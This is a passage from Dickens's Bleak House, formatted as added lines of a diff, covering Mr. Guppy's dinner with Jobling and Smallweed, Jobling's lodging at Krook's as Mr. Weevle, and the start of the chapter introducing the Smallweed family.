+off, having once the audacity to begin--retires into private life
+until he invests a little capital of supper in the oil-trade. Jo
+moves on, through the long vacation, down to Blackfriars Bridge,
+where he finds a baking stony corner wherein to settle to his repast.
+
+And there he sits, munching and gnawing, and looking up at the great
+cross on the summit of St. Paul's Cathedral, glittering above a
+red-and-violet-tinted cloud of smoke. From the boy's face one might
+suppose that sacred emblem to be, in his eyes, the crowning confusion
+of the great, confused city--so golden, so high up, so far out of his
+reach. There he sits, the sun going down, the river running fast, the
+crowd flowing by him in two streams--everything moving on to some
+purpose and to one end--until he is stirred up and told to "move on"
+too.
+
+
+
+
+CHAPTER XX
+
+A New Lodger
+
+
+The long vacation saunters on towards term-time like an idle river
+very leisurely strolling down a flat country to the sea. Mr. Guppy
+saunters along with it congenially. He has blunted the blade of his
+penknife and broken the point off by sticking that instrument into
+his desk in every direction. Not that he bears the desk any ill will,
+but he must do something, and it must be something of an unexciting
+nature, which will lay neither his physical nor his intellectual
+energies under too heavy contribution. He finds that nothing agrees
+with him so well as to make little gyrations on one leg of his stool,
+and stab his desk, and gape.
+
+Kenge and Carboy are out of town, and the articled clerk has taken
+out a shooting license and gone down to his father's, and Mr. Guppy's
+two fellow-stipendiaries are away on leave. Mr. Guppy and Mr. Richard
+Carstone divide the dignity of the office. But Mr. Carstone is for
+the time being established in Kenge's room, whereat Mr. Guppy chafes.
+So exceedingly that he with biting sarcasm informs his mother, in the
+confidential moments when he sups with her off a lobster and lettuce
+in the Old Street Road, that he is afraid the office is hardly good
+enough for swells, and that if he had known there was a swell coming,
+he would have got it painted.
+
+Mr. Guppy suspects everybody who enters on the occupation of a stool
+in Kenge and Carboy's office of entertaining, as a matter of course,
+sinister designs upon him. He is clear that every such person wants
+to depose him. If he be ever asked how, why, when, or wherefore, he
+shuts up one eye and shakes his head. On the strength of these
+profound views, he in the most ingenious manner takes infinite pains
+to counterplot when there is no plot, and plays the deepest games of
+chess without any adversary.
+
+It is a source of much gratification to Mr. Guppy, therefore, to find
+the new-comer constantly poring over the papers in Jarndyce and
+Jarndyce, for he well knows that nothing but confusion and failure
+can come of that. His satisfaction communicates itself to a third
+saunterer through the long vacation in Kenge and Carboy's office, to
+wit, Young Smallweed.
+
+Whether Young Smallweed (metaphorically called Small and eke Chick
+Weed, as it were jocularly to express a fledgling) was ever a boy is
+much doubted in Lincoln's Inn. He is now something under fifteen and
+an old limb of the law. He is facetiously understood to entertain a
+passion for a lady at a cigar-shop in the neighbourhood of Chancery
+Lane and for her sake to have broken off a contract with another
+lady, to whom he had been engaged some years. He is a town-made
+article, of small stature and weazen features, but may be perceived
+from a considerable distance by means of his very tall hat. To become
+a Guppy is the object of his ambition. He dresses at that gentleman
+(by whom he is patronized), talks at him, walks at him, founds
+himself entirely on him. He is honoured with Mr. Guppy's particular
+confidence and occasionally advises him, from the deep wells of his
+experience, on difficult points in private life.
+
+Mr. Guppy has been lolling out of window all the morning after trying
+all the stools in succession and finding none of them easy, and after
+several times putting his head into the iron safe with a notion of
+cooling it. Mr. Smallweed has been twice dispatched for effervescent
+drinks, and has twice mixed them in the two official tumblers and
+stirred them up with the ruler. Mr. Guppy propounds for Mr.
+Smallweed's consideration the paradox that the more you drink the
+thirstier you are and reclines his head upon the window-sill in a
+state of hopeless languor.
+
+While thus looking out into the shade of Old Square, Lincoln's Inn,
+surveying the intolerable bricks and mortar, Mr. Guppy becomes
+conscious of a manly whisker emerging from the cloistered walk below
+and turning itself up in the direction of his face. At the same time,
+a low whistle is wafted through the Inn and a suppressed voice cries,
+"Hip! Gup-py!"
+
+"Why, you don't mean it!" says Mr. Guppy, aroused. "Small! Here's
+Jobling!" Small's head looks out of window too and nods to Jobling.
+
+"Where have you sprung up from?" inquires Mr. Guppy.
+
+"From the market-gardens down by Deptford. I can't stand it any
+longer. I must enlist. I say! I wish you'd lend me half a crown. Upon
+my soul, I'm hungry."
+
+Jobling looks hungry and also has the appearance of having run to
+seed in the market-gardens down by Deptford.
+
+"I say! Just throw out half a crown if you have got one to spare. I
+want to get some dinner."
+
+"Will you come and dine with me?" says Mr. Guppy, throwing out the
+coin, which Mr. Jobling catches neatly.
+
+"How long should I have to hold out?" says Jobling.
+
+"Not half an hour. I am only waiting here till the enemy goes,
+returns Mr. Guppy, butting inward with his head.
+
+"What enemy?"
+
+"A new one. Going to be articled. Will you wait?"
+
+"Can you give a fellow anything to read in the meantime?" says Mr.
+Jobling.
+
+Smallweed suggests the law list. But Mr. Jobling declares with much
+earnestness that he "can't stand it."
+
+"You shall have the paper," says Mr. Guppy. "He shall bring it down.
+But you had better not be seen about here. Sit on our staircase and
+read. It's a quiet place."
+
+Jobling nods intelligence and acquiescence. The sagacious Smallweed
+supplies him with the newspaper and occasionally drops his eye upon
+him from the landing as a precaution against his becoming disgusted
+with waiting and making an untimely departure. At last the enemy
+retreats, and then Smallweed fetches Mr. Jobling up.
+
+"Well, and how are you?" says Mr. Guppy, shaking hands with him.
+
+"So, so. How are you?"
+
+Mr. Guppy replying that he is not much to boast of, Mr. Jobling
+ventures on the question, "How is SHE?" This Mr. Guppy resents as a
+liberty, retorting, "Jobling, there ARE chords in the human mind--"
+Jobling begs pardon.
+
+"Any subject but that!" says Mr. Guppy with a gloomy enjoyment of his
+injury. "For there ARE chords, Jobling--"
+
+Mr. Jobling begs pardon again.
+
+During this short colloquy, the active Smallweed, who is of the
+dinner party, has written in legal characters on a slip of paper,
+"Return immediately." This notification to all whom it may concern,
+he inserts in the letter-box, and then putting on the tall hat at the
+angle of inclination at which Mr. Guppy wears his, informs his patron
+that they may now make themselves scarce.
+
+Accordingly they betake themselves to a neighbouring dining-house, of
+the class known among its frequenters by the denomination slap-bang,
+where the waitress, a bouncing young female of forty, is supposed to
+have made some impression on the susceptible Smallweed, of whom it
+may be remarked that he is a weird changeling to whom years are
+nothing. He stands precociously possessed of centuries of owlish
+wisdom. If he ever lay in a cradle, it seems as if he must have lain
+there in a tail-coat. He has an old, old eye, has Smallweed; and he
+drinks and smokes in a monkeyish way; and his neck is stiff in his
+collar; and he is never to be taken in; and he knows all about it,
+whatever it is. In short, in his bringing up he has been so nursed by
+Law and Equity that he has become a kind of fossil imp, to account
+for whose terrestrial existence it is reported at the public offices
+that his father was John Doe and his mother the only female member of
+the Roe family, also that his first long-clothes were made from a
+blue bag.
+
+Into the dining-house, unaffected by the seductive show in the window
+of artificially whitened cauliflowers and poultry, verdant baskets of
+peas, coolly blooming cucumbers, and joints ready for the spit, Mr.
+Smallweed leads the way. They know him there and defer to him. He has
+his favourite box, he bespeaks all the papers, he is down upon bald
+patriarchs, who keep them more than ten minutes afterwards. It is of
+no use trying him with anything less than a full-sized "bread" or
+proposing to him any joint in cut unless it is in the very best cut.
+In the matter of gravy he is adamant.
+
+Conscious of his elfin power and submitting to his dread experience,
+Mr. Guppy consults him in the choice of that day's banquet, turning
+an appealing look towards him as the waitress repeats the catalogue
+of viands and saying "What do YOU take, Chick?" Chick, out of the
+profundity of his artfulness, preferring "veal and ham and French
+beans--and don't you forget the stuffing, Polly" (with an unearthly
+cock of his venerable eye), Mr. Guppy and Mr. Jobling give the like
+order. Three pint pots of half-and-half are superadded. Quickly the
+waitress returns bearing what is apparently a model of the Tower of
+Babel but what is really a pile of plates and flat tin dish-covers.
+Mr. Smallweed, approving of what is set before him, conveys
+intelligent benignity into his ancient eye and winks upon her. Then,
+amid a constant coming in, and going out, and running about, and a
+clatter of crockery, and a rumbling up and down of the machine which
+brings the nice cuts from the kitchen, and a shrill crying for more
+nice cuts down the speaking-pipe, and a shrill reckoning of the cost
+of nice cuts that have been disposed of, and a general flush and
+steam of hot joints, cut and uncut, and a considerably heated
+atmosphere in which the soiled knives and tablecloths seem to break
+out spontaneously into eruptions of grease and blotches of beer, the
+legal triumvirate appease their appetites.
+
+Mr. Jobling is buttoned up closer than mere adornment might require.
+His hat presents at the rims a peculiar appearance of a glistening
+nature, as if it had been a favourite snail-promenade. The same
+phenomenon is visible on some parts of his coat, and particularly at
+the seams. He has the faded appearance of a gentleman in embarrassed
+circumstances; even his light whiskers droop with something of a
+shabby air.
+
+His appetite is so vigorous that it suggests spare living for some
+little time back. He makes such a speedy end of his plate of veal and
+ham, bringing it to a close while his companions are yet midway in
+theirs, that Mr. Guppy proposes another. "Thank you, Guppy," says Mr.
+Jobling, "I really don't know but what I WILL take another."
+
+Another being brought, he falls to with great goodwill.
+
+Mr. Guppy takes silent notice of him at intervals until he is half
+way through this second plate and stops to take an enjoying pull at
+his pint pot of half-and-half (also renewed) and stretches out his
+legs and rubs his hands. Beholding him in which glow of contentment,
+Mr. Guppy says, "You are a man again, Tony!"
+
+"Well, not quite yet," says Mr. Jobling. "Say, just born."
+
+"Will you take any other vegetables? Grass? Peas? Summer cabbage?"
+
+"Thank you, Guppy," says Mr. Jobling. "I really don't know but what I
+WILL take summer cabbage."
+
+Order given; with the sarcastic addition (from Mr. Smallweed) of
+"Without slugs, Polly!" And cabbage produced.
+
+"I am growing up, Guppy," says Mr. Jobling, plying his knife and fork
+with a relishing steadiness.
+
+"Glad to hear it."
+
+"In fact, I have just turned into my teens," says Mr. Jobling.
+
+He says no more until he has performed his task, which he achieves as
+Messrs. Guppy and Smallweed finish theirs, thus getting over the
+ground in excellent style and beating those two gentlemen easily by a
+veal and ham and a cabbage.
+
+"Now, Small," says Mr. Guppy, "what would you recommend about
+pastry?"
+
+"Marrow puddings," says Mr. Smallweed instantly.
+
+"Aye, aye!" cries Mr. Jobling with an arch look. "You're there, are
+you? Thank you, Mr. Guppy, I don't know but what I WILL take a marrow
+pudding."
+
+Three marrow puddings being produced, Mr. Jobling adds in a pleasant
+humour that he is coming of age fast. To these succeed, by command of
+Mr. Smallweed, "three Cheshires," and to those "three small rums."
+This apex of the entertainment happily reached, Mr. Jobling puts up
+his legs on the carpeted seat (having his own side of the box to
+himself), leans against the wall, and says, "I am grown up now,
+Guppy. I have arrived at maturity."
+
+"What do you think, now," says Mr. Guppy, "about--you don't mind
+Smallweed?"
+
+"Not the least in the world. I have the pleasure of drinking his good
+health."
+
+"Sir, to you!" says Mr. Smallweed.
+
+"I was saying, what do you think NOW," pursues Mr. Guppy, "of
+enlisting?"
+
+"Why, what I may think after dinner," returns Mr. Jobling, "is one
+thing, my dear Guppy, and what I may think before dinner is another
+thing. Still, even after dinner, I ask myself the question, What am I
+to do? How am I to live? Ill fo manger, you know," says Mr. Jobling,
+pronouncing that word as if he meant a necessary fixture in an
+English stable. "Ill fo manger. That's the French saying, and
+mangering is as necessary to me as it is to a Frenchman. Or more so."
+
+Mr. Smallweed is decidedly of opinion "much more so."
+
+"If any man had told me," pursues Jobling, "even so lately as when
+you and I had the frisk down in Lincolnshire, Guppy, and drove over
+to see that house at Castle Wold--"
+
+Mr. Smallweed corrects him--Chesney Wold.
+
+"Chesney Wold. (I thank my honourable friend for that cheer.) If any
+man had told me then that I should be as hard up at the present time
+as I literally find myself, I should have--well, I should have
+pitched into him," says Mr. Jobling, taking a little rum-and-water
+with an air of desperate resignation; "I should have let fly at his
+head."
+
+"Still, Tony, you were on the wrong side of the post then,"
+remonstrates Mr. Guppy. "You were talking about nothing else in the
+gig."
+
+"Guppy," says Mr. Jobling, "I will not deny it. I was on the wrong
+side of the post. But I trusted to things coming round."
+
+That very popular trust in flat things coming round! Not in their
+being beaten round, or worked round, but in their "coming" round! As
+though a lunatic should trust in the world's "coming" triangular!
+
+"I had confident expectations that things would come round and be all
+square," says Mr. Jobling with some vagueness of expression and
+perhaps of meaning too. "But I was disappointed. They never did. And
+when it came to creditors making rows at the office and to people
+that the office dealt with making complaints about dirty trifles of
+borrowed money, why there was an end of that connexion. And of any
+new professional connexion too, for if I was to give a reference
+to-morrow, it would be mentioned and would sew me up. Then what's a
+fellow to do? I have been keeping out of the way and living cheap
+down about the market-gardens, but what's the use of living cheap
+when you have got no money? You might as well live dear."
+
+"Better," Mr. Smallweed thinks.
+
+"Certainly. It's the fashionable way; and fashion and whiskers have
+been my weaknesses, and I don't care who knows it," says Mr. Jobling.
+"They are great weaknesses--Damme, sir, they are great. Well,"
+proceeds Mr. Jobling after a defiant visit to his rum-and-water,
+"what can a fellow do, I ask you, BUT enlist?"
+
+Mr. Guppy comes more fully into the conversation to state what, in
+his opinion, a fellow can do. His manner is the gravely impressive
+manner of a man who has not committed himself in life otherwise than
+as he has become the victim of a tender sorrow of the heart.
+
+"Jobling," says Mr. Guppy, "myself and our mutual friend Smallweed--"
+
+Mr. Smallweed modestly observes, "Gentlemen both!" and drinks.
+
+"--Have had a little conversation on this matter more than once since
+you--"
+
+"Say, got the sack!" cries Mr. Jobling bitterly. "Say it, Guppy. You
+mean it."
+
+"No-o-o! Left the Inn," Mr. Smallweed delicately suggests.
+
+"Since you left the Inn, Jobling," says Mr. Guppy; "and I have
+mentioned to our mutual friend Smallweed a plan I have lately thought
+of proposing. You know Snagsby the stationer?"
+
+"I know there is such a stationer," returns Mr. Jobling. "He was not
+ours, and I am not acquainted with him."
+
+"He IS ours, Jobling, and I AM acquainted with him," Mr. Guppy
+retorts. "Well, sir! I have lately become better acquainted with him
+through some accidental circumstances that have made me a visitor of
+his in private life. Those circumstances it is not necessary to offer
+in argument. They may--or they may not--have some reference to a
+subject which may--or may not--have cast its shadow on my existence."
+
+As it is Mr. Guppy's perplexing way with boastful misery to tempt his
+particular friends into this subject, and the moment they touch it,
+to turn on them with that trenchant severity about the chords in the
+human mind, both Mr. Jobling and Mr. Smallweed decline the pitfall by
+remaining silent.
+
+"Such things may be," repeats Mr. Guppy, "or they may not be. They
+are no part of the case. It is enough to mention that both Mr. and
+Mrs. Snagsby are very willing to oblige me and that Snagsby has, in
+busy times, a good deal of copying work to give out. He has all
+Tulkinghorn's, and an excellent business besides. I believe if our
+mutual friend Smallweed were put into the box, he could prove this?"
+
+Mr. Smallweed nods and appears greedy to be sworn.
+
+"Now, gentlemen of the jury," says Mr. Guppy, "--I mean, now,
+Jobling--you may say this is a poor prospect of a living. Granted.
+But it's better than nothing, and better than enlistment. You want
+time. There must be time for these late affairs to blow over. You
+might live through it on much worse terms than by writing for
+Snagsby."
+
+Mr. Jobling is about to interrupt when the sagacious Smallweed checks
+him with a dry cough and the words, "Hem! Shakspeare!"
+
+"There are two branches to this subject, Jobling," says Mr. Guppy.
+"That is the first. I come to the second. You know Krook, the
+Chancellor, across the lane. Come, Jobling," says Mr. Guppy in his
+encouraging cross-examination-tone, "I think you know Krook, the
+Chancellor, across the lane?"
+
+"I know him by sight," says Mr. Jobling.
+
+"You know him by sight. Very well. And you know little Flite?"
+
+"Everybody knows her," says Mr. Jobling.
+
+"Everybody knows her. VERY well. Now it has been one of my duties of
+late to pay Flite a certain weekly allowance, deducting from it the
+amount of her weekly rent, which I have paid (in consequence of
+instructions I have received) to Krook himself, regularly in her
+presence. This has brought me into communication with Krook and into
+a knowledge of his house and his habits. I know he has a room to let.
+You may live there at a very low charge under any name you like, as
+quietly as if you were a hundred miles off. He'll ask no questions
+and would accept you as a tenant at a word from me--before the clock
+strikes, if you chose. And I tell you another thing, Jobling," says
+Mr. Guppy, who has suddenly lowered his voice and become familiar
+again, "he's an extraordinary old chap--always rummaging among a
+litter of papers and grubbing away at teaching himself to read and
+write, without getting on a bit, as it seems to me. He is a most
+extraordinary old chap, sir. I don't know but what it might be worth
+a fellow's while to look him up a bit."
+
+"You don't mean--" Mr. Jobling begins.
+
+"I mean," returns Mr. Guppy, shrugging his shoulders with becoming
+modesty, "that I can't make him out. I appeal to our mutual friend
+Smallweed whether he has or has not heard me remark that I can't make
+him out."
+
+Mr. Smallweed bears the concise testimony, "A few!"
+
+"I have seen something of the profession and something of life,
+Tony," says Mr. Guppy, "and it's seldom I can't make a man out, more
+or less. But such an old card as this, so deep, so sly, and secret
+(though I don't believe he is ever sober), I never came across. Now,
+he must be precious old, you know, and he has not a soul about him,
+and he is reported to be immensely rich; and whether he is a
+smuggler, or a receiver, or an unlicensed pawnbroker, or a
+money-lender--all of which I have thought likely at different
+times--it might pay you to knock up a sort of knowledge of him. I
+don't see why you shouldn't go in for it, when everything else
+suits."
+
+Mr. Jobling, Mr. Guppy, and Mr. Smallweed all lean their elbows on
+the table and their chins upon their hands, and look at the ceiling.
+After a time, they all drink, slowly lean back, put their hands in
+their pockets, and look at one another.
+
+"If I had the energy I once possessed, Tony!" says Mr. Guppy with a
+sigh. "But there are chords in the human mind--"
+
+Expressing the remainder of the desolate sentiment in rum-and-water,
+Mr. Guppy concludes by resigning the adventure to Tony Jobling and
+informing him that during the vacation and while things are slack,
+his purse, "as far as three or four or even five pound goes," will be
+at his disposal. "For never shall it be said," Mr. Guppy adds with
+emphasis, "that William Guppy turned his back upon his friend!"
+
+The latter part of the proposal is so directly to the purpose that
+Mr. Jobling says with emotion, "Guppy, my trump, your fist!" Mr.
+Guppy presents it, saying, "Jobling, my boy, there it is!" Mr.
+Jobling returns, "Guppy, we have been pals now for some years!" Mr.
+Guppy replies, "Jobling, we have."
+
+They then shake hands, and Mr. Jobling adds in a feeling manner,
+"Thank you, Guppy, I don't know but what I WILL take another glass
+for old acquaintance sake."
+
+"Krook's last lodger died there," observes Mr. Guppy in an incidental
+way.
+
+"Did he though!" says Mr. Jobling.
+
+"There was a verdict. Accidental death. You don't mind that?"
+
+"No," says Mr. Jobling, "I don't mind it; but he might as well have
+died somewhere else. It's devilish odd that he need go and die at MY
+place!" Mr. Jobling quite resents this liberty, several times
+returning to it with such remarks as, "There are places enough to die
+in, I should think!" or, "He wouldn't have liked my dying at HIS
+place, I dare say!"
+
+However, the compact being virtually made, Mr. Guppy proposes to
+dispatch the trusty Smallweed to ascertain if Mr. Krook is at home,
+as in that case they may complete the negotiation without delay. Mr.
+Jobling approving, Smallweed puts himself under the tall hat and
+conveys it out of the dining-rooms in the Guppy manner. He soon
+returns with the intelligence that Mr. Krook is at home and that he
+has seen him through the shop-door, sitting in the back premises,
+sleeping "like one o'clock."
+
+"Then I'll pay," says Mr. Guppy, "and we'll go and see him. Small,
+what will it be?"
+
+Mr. Smallweed, compelling the attendance of the waitress with one
+hitch of his eyelash, instantly replies as follows: "Four veals and
+hams is three, and four potatoes is three and four, and one summer
+cabbage is three and six, and three marrows is four and six, and six
+breads is five, and three Cheshires is five and three, and four
+half-pints of half-and-half is six and three, and four small rums is
+eight and three, and three Pollys is eight and six. Eight and six in
+half a sovereign, Polly, and eighteenpence out!"
+
+Not at all excited by these stupendous calculations, Smallweed
+dismisses his friends with a cool nod and remains behind to take a
+little admiring notice of Polly, as opportunity may serve, and to
+read the daily papers, which are so very large in proportion to
+himself, shorn of his hat, that when he holds up the Times to run his
+eye over the columns, he seems to have retired for the night and to
+have disappeared under the bedclothes.
+
+Mr. Guppy and Mr. Jobling repair to the rag and bottle shop, where
+they find Krook still sleeping like one o'clock, that is to say,
+breathing stertorously with his chin upon his breast and quite
+insensible to any external sounds or even to gentle shaking. On the
+table beside him, among the usual lumber, stand an empty gin-bottle
+and a glass. The unwholesome air is so stained with this liquor that
+even the green eyes of the cat upon her shelf, as they open and shut
+and glimmer on the visitors, look drunk.
+
+"Hold up here!" says Mr. Guppy, giving the relaxed figure of the old
+man another shake. "Mr. Krook! Halloa, sir!"
+
+But it would seem as easy to wake a bundle of old clothes with a
+spirituous heat smouldering in it. "Did you ever see such a stupor as
+he falls into, between drink and sleep?" says Mr. Guppy.
+
+"If this is his regular sleep," returns Jobling, rather alarmed,
+"it'll last a long time one of these days, I am thinking."
+
+"It's always more like a fit than a nap," says Mr. Guppy, shaking him
+again. "Halloa, your lordship! Why, he might be robbed fifty times
+over! Open your eyes!"
+
+After much ado, he opens them, but without appearing to see his
+visitors or any other objects. Though he crosses one leg on another,
+and folds his hands, and several times closes and opens his parched
+lips, he seems to all intents and purposes as insensible as before.
+
+"He is alive, at any rate," says Mr. Guppy. "How are you, my Lord
+Chancellor. I have brought a friend of mine, sir, on a little matter
+of business."
+
+The old man still sits, often smacking his dry lips without the least
+consciousness. After some minutes he makes an attempt to rise. They
+help him up, and he staggers against the wall and stares at them.
+
+"How do you do, Mr. Krook?" says Mr. Guppy in some discomfiture. "How
+do you do, sir? You are looking charming, Mr. Krook. I hope you are
+pretty well?"
+
+The old man, in aiming a purposeless blow at Mr. Guppy, or at
+nothing, feebly swings himself round and comes with his face against
+the wall. So he remains for a minute or two, heaped up against it,
+and then staggers down the shop to the front door. The air, the
+movement in the court, the lapse of time, or the combination of these
+things recovers him. He comes back pretty steadily, adjusting his fur
+cap on his head and looking keenly at them.
+
+"Your servant, gentlemen; I've been dozing. Hi! I am hard to wake,
+odd times."
+
+"Rather so, indeed, sir," responds Mr. Guppy.
+
+"What? You've been a-trying to do it, have you?" says the suspicious
+Krook.
+
+"Only a little," Mr. Guppy explains.
+
+The old man's eye resting on the empty bottle, he takes it up,
+examines it, and slowly tilts it upside down.
+
+"I say!" he cries like the hobgoblin in the story. "Somebody's been
+making free here!"
+
+"I assure you we found it so," says Mr. Guppy. "Would you allow me to
+get it filled for you?"
+
+"Yes, certainly I would!" cries Krook in high glee. "Certainly I
+would! Don't mention it! Get it filled next door--Sol's Arms--the
+Lord Chancellor's fourteenpenny. Bless you, they know ME!"
+
+He so presses the empty bottle upon Mr. Guppy that that gentleman,
+with a nod to his friend, accepts the trust and hurries out and
+hurries in again with the bottle filled. The old man receives it in
+his arms like a beloved grandchild and pats it tenderly.
+
+"But, I say," he whispers, with his eyes screwed up, after tasting
+it, "this ain't the Lord Chancellor's fourteenpenny. This is
+eighteenpenny!"
+
+"I thought you might like that better," says Mr. Guppy.
+
+"You're a nobleman, sir," returns Krook with another taste, and his
+hot breath seems to come towards them like a flame. "You're a baron
+of the land."
+
+Taking advantage of this auspicious moment, Mr. Guppy presents his
+friend under the impromptu name of Mr. Weevle and states the object
+of their visit. Krook, with his bottle under his arm (he never gets
+beyond a certain point of either drunkenness or sobriety), takes time
+to survey his proposed lodger and seems to approve of him. "You'd
+like to see the room, young man?" he says. "Ah! It's a good room!
+Been whitewashed. Been cleaned down with soft soap and soda. Hi! It's
+worth twice the rent, letting alone my company when you want it and
+such a cat to keep the mice away."
+
+Commending the room after this manner, the old man takes them
+upstairs, where indeed they do find it cleaner than it used to be and
+also containing some old articles of furniture which he has dug up
+from his inexhaustible stores. The terms are easily concluded--for
+the Lord Chancellor cannot be hard on Mr. Guppy, associated as he is
+with Kenge and Carboy, Jarndyce and Jarndyce, and other famous claims
+on his professional consideration--and it is agreed that Mr. Weevle
+shall take possession on the morrow. Mr. Weevle and Mr. Guppy then
+repair to Cook's Court, Cursitor Street, where the personal
+introduction of the former to Mr. Snagsby is effected and (more
+important) the vote and interest of Mrs. Snagsby are secured. They
+then report progress to the eminent Smallweed, waiting at the office
+in his tall hat for that purpose, and separate, Mr. Guppy explaining
+that he would terminate his little entertainment by standing treat at
+the play but that there are chords in the human mind which would
+render it a hollow mockery.
+
+On the morrow, in the dusk of evening, Mr. Weevle modestly appears at
+Krook's, by no means incommoded with luggage, and establishes himself
+in his new lodging, where the two eyes in the shutters stare at him
+in his sleep, as if they were full of wonder. On the following day
+Mr. Weevle, who is a handy good-for-nothing kind of young fellow,
+borrows a needle and thread of Miss Flite and a hammer of his
+landlord and goes to work devising apologies for window-curtains, and
+knocking up apologies for shelves, and hanging up his two teacups,
+milkpot, and crockery sundries on a pennyworth of little hooks, like
+a shipwrecked sailor making the best of it.
+
+But what Mr. Weevle prizes most of all his few possessions (next
+after his light whiskers, for which he has an attachment that only
+whiskers can awaken in the breast of man) is a choice collection of
+copper-plate impressions from that truly national work The Divinities
+of Albion, or Galaxy Gallery of British Beauty, representing ladies
+of title and fashion in every variety of smirk that art, combined
+with capital, is capable of producing. With these magnificent
+portraits, unworthily confined in a band-box during his seclusion
+among the market-gardens, he decorates his apartment; and as the
+Galaxy Gallery of British Beauty wears every variety of fancy dress,
+plays every variety of musical instrument, fondles every variety of
+dog, ogles every variety of prospect, and is backed up by every
+variety of flower-pot and balustrade, the result is very imposing.
+
+But fashion is Mr. Weevle's, as it was Tony Jobling's, weakness. To
+borrow yesterday's paper from the Sol's Arms of an evening and read
+about the brilliant and distinguished meteors that are shooting
+across the fashionable sky in every direction is unspeakable
+consolation to him. To know what member of what brilliant and
+distinguished circle accomplished the brilliant and distinguished
+feat of joining it yesterday or contemplates the no less brilliant
+and distinguished feat of leaving it to-morrow gives him a thrill of
+joy. To be informed what the Galaxy Gallery of British Beauty is
+about, and means to be about, and what Galaxy marriages are on the
+tapis, and what Galaxy rumours are in circulation, is to become
+acquainted with the most glorious destinies of mankind. Mr. Weevle
+reverts from this intelligence to the Galaxy portraits implicated,
+and seems to know the originals, and to be known of them.
+
+For the rest he is a quiet lodger, full of handy shifts and devices
+as before mentioned, able to cook and clean for himself as well as to
+carpenter, and developing social inclinations after the shades of
+evening have fallen on the court. At those times, when he is not
+visited by Mr. Guppy or by a small light in his likeness quenched in
+a dark hat, he comes out of his dull room--where he has inherited the
+deal wilderness of desk bespattered with a rain of ink--and talks to
+Krook or is "very free," as they call it in the court, commendingly,
+with any one disposed for conversation. Wherefore, Mrs. Piper, who
+leads the court, is impelled to offer two remarks to Mrs. Perkins:
+firstly, that if her Johnny was to have whiskers, she could wish 'em
+to be identically like that young man's; and secondly, "Mark my
+words, Mrs. Perkins, ma'am, and don't you be surprised, Lord bless
+you, if that young man comes in at last for old Krook's money!"
+
+
+
+
+CHAPTER XXI
+
+The Smallweed Family
+
+
+In a rather ill-favoured and ill-savoured neighbourhood, though one
+of its rising grounds bears the name of Mount Pleasant, the Elfin
+Smallweed, christened Bartholomew and known on the domestic hearth as
+Bart, passes that limited portion of his time on which the office and
+its contingencies have no claim. He dwells in a little narrow street,
+always solitary, shady, and sad, closely bricked in on all sides like
+a tomb, but where there yet lingers the stump of an old forest tree
+whose flavour is about as fresh and natural as the Smallweed smack of
+youth.
+
+There has been only one child in the Smallweed family for several
+generations. Little old men and women there have been, but no child,
+until Mr. Smallweed's grandmother, now living, became weak in her
+intellect and fell (for the first time) into a childish state. With
+such infantine graces as a total want of observation, memory,
+understanding, and interest, and an eternal disposition to fall
+asleep over the fire and into it, Mr. Smallweed's grandmother has
+undoubtedly brightened the family.
+
+Mr. Smallweed's grandfather is likewise of the party. He is in a
+helpless condition as to his lower, and nearly so as to his upper,
+limbs, but his mind is unimpaired. It holds, as well as it ever held,
+the first four rules of arithmetic and a certain small collection of
+the hardest facts. In respect of ideality, reverence, wonder, and
+other such phrenological attributes, it is no worse off than it used
+to be. Everything that Mr. Smallweed's grandfather ever put away in
+his mind was a grub at first, and is a grub at last. In all his life
+he has never bred a single butterfly.
+
+The father of this pleasant grandfather, of the neighbourhood of
+Mount Pleasant, was a horny-skinned, two-legged, money-getting
+species of spider who spun webs to catch unwary flies and retired
+into holes until they were entrapped. The name of this old pagan's
+god was Compound Interest. He lived for it, married it, died of it.
+Meeting with a heavy loss in an honest little enterprise in which all
+the loss was intended to have been on the other side, he broke
+something--something necessary to his existence, therefore it
+couldn't have been his heart--and made an end of his career. As his
+character was not good, and he had been bred at a charity school in a
+complete course, according to question and answer, of those ancient
+people the Amorites and Hittites, he was frequently quoted as an
+example of the failure of education.
+
+His spirit shone through his son, to whom he had always preached of
+"going out" early in life and whom he made a clerk in a sharp
+scrivener's office at twelve years old. There the young gentleman
+improved his mind, which was of a lean and anxious character, and
+developing the family gifts, gradually elevated himself into the
+discounting profession. Going out early in life and marrying late, as
+his father had done before him, he too begat a lean and
+anxious-minded son, who in his turn, going out early in life and
+marrying late, became the father of Bartholomew and Judith Smallweed,
+twins. During the whole time consumed in the slow growth of this
+family tree, the house of Smallweed, always early to go out and late
+to marry, has strengthened itself in its practical character, has
+discarded all amusements, discountenanced all story-books,
+fairy-tales, fictions, and fables, and banished all levities
+whatsoever. Hence the gratifying fact that it has had no child born
+to it and that the complete little men and women whom it has produced
+have been observed to bear a likeness to old monkeys with something
+depressing on their minds.
+
+At the present time, in the dark little parlour certain feet below
+the level of the street--a grim, hard, uncouth parlour, only
+ornamented with the coarsest of baize table-covers, and the hardest
+of sheet-iron tea-trays, and offering in its decorative character no
+bad allegorical representation of Grandfather Smallweed's
+mind--seated in two black horsehair porter's chairs, one on each side
+of the fire-place, the superannuated Mr. and Mrs. Smallweed while
+away the rosy hours. On the stove are a couple of trivets for the
+pots and kettles which it is Grandfather Smallweed's usual occupation
+to watch, and projecting from the chimney-piece between them is a
+sort of brass gallows for roasting, which he also superintends when
+it is in action. Under the venerable Mr. Smallweed's seat and guarded
+by his spindle legs is a drawer in his chair, reported to contain
+property to a fabulous amount. Beside him is a spare cushion with
+which he is always provided in order that he may have something to
+throw at the venerable partner of his respected age whenever she
+makes an allusion to money--a subject on which he is particularly
+sensitive.
+
+"And where's Bart?" Grandfather Smallweed inquires of Judy, Bart's
+twin sister.
+
+"He an't come in yet," says Judy.
+
+"It's his tea-time, isn't it?"
+
+"No."
+
+"How much do you mean to say it wants then?"
+
+"Ten minutes."
+
+"Hey?"
+
+"Ten minutes." (Loud on the part of Judy.)
+
+"Ho!" says Grandfather Smallweed. "Ten minutes."
+
+Grandmother Smallweed, who has been mumbling and shaking her head at
+the trivets, hearing figures mentioned, connects them with money and
+screeches like a horrible old parrot without any plumage, "Ten
+ten-pound notes!"
+
+Grandfather Smallweed immediately throws the cushion at her.
+
+"Drat you, be quiet!" says the good old man.
+
+The effect of this act of jaculation is twofold. It not only doubles
+up Mrs. Smallweed's head against the side of her porter's chair and
+causes her to present, when extricated by her granddaughter, a highly
+unbecoming state of cap, but the necessary exertion recoils on Mr.
+Smallweed himself, whom it throws back into HIS porter's chair like a
+broken puppet. The excellent old gentleman being at these times a
+mere clothes-bag with a black skull-cap on the top of it, does not
+present a very animated appearance until he has undergone the two
